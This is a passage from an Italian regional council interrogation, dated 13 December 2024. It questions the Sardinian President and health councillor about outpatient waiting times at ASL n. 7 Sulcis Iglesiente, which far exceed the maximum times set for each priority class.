– questo sistema necessita del coinvolgimento dei medici prescrittori e dei soggetti erogatori: il prescrittore (medicina generale o specialista) stabilisce la priorità, secondo criteri di appropriatezza, mettendo una sigla sulla richiesta di visita specialistica o esame diagnostico, in modo tale da fornire risposte tempestive sulla base di necessità che possono essere diverse, fatta salva l’urgenza che è sempre garantita;
– la Regione ha adottato la metodologia RAO con la deliberazione 4 dicembre 2018, n. 59/5 (Liste di attesa. Definizione dei raggruppamenti di attesa omogenei (RAO) e degli ambiti territoriali) con riferimento alle 43 prestazioni soggette a monitoraggio nel precedente PRGLA 2010/2012 e gli ambiti territoriali di garanzia entro i quali deve essere garantita l’erogazione nei tempi massimi previsti dalle classi di priorità;
– sono previsti i seguenti tempi massimi in base alla priorità indicata dal medico prescrittore nella ricetta: U – urgente da eseguire nel più breve tempo possibile e, comunque, entro 72 ore; B – breve da eseguire entro 10 giorni; D – differibile da eseguire entro 30 giorni per le visite, 60 giorni per gli accertamenti diagnostici; infine, P – programmata da eseguire entro 120 giorni;

ATTESO che nell’Azienda socio sanitaria locale n. 7 del Sulcis Iglesiente i pazienti sardi patiscono, ormai da molti anni, tempi d’attesa eccessivamente lunghi per l’ottenimento delle prestazioni specialistiche ambulatoriali;

VISTO il report dei tempi medi di attesa (in giorni) relativi alle prestazioni prenotate con classe di priorità D (differibile), per Azienda sanitaria, settimana di rilevazione: 7-11 ottobre 2024 scaricabile dal sito www.sardegnasalute.it della Regione, dal quale si evince che i tempi medi di attesa per l’erogazione delle prestazioni prenotate presso la ASL n. 7 risultano di gran lunga superiori ai tempi massimi di attesa previsti;

CONSIDERATO che da quanto sopra citato è chiaro che la maggior parte delle prestazioni erogabili dalla ASL n. 7 arrivano in alcuni casi a tempi medi di prenotazione (per quanto attiene la classe di priorità P – programmabile) pari a 390 giornate per visita oculistica e risonanza magnetica (RM) dell’addome inferiore, fino a giungere a 463 giornate per una esofagogastroduodenoscopia;

ATTESO che tale situazione obbliga quotidianamente migliaia di sardi ad effettuare le proprie visite ambulatoriali in regime privato con un aggravio di costi che in alcuni casi rende inaccessibili tali visite ed esami diagnostici per indisponibilità economica dei pazienti,

chiede di interrogare il Presidente della Regione e l’Assessore regionale dell’Igiene e Sanità e dell’Assistenza Sociale per sapere:
1) se vi sia consapevolezza della costante violazione dei tempi massimi di attesa previsti per le erogazioni delle prestazioni di specialistica ambulatoriale;
2) quali siano le azioni che intende porre in essere per garantire il rispetto dei tempi massimi di attesa per le erogazioni delle prestazioni.

Cagliari, 13 dicembre 2024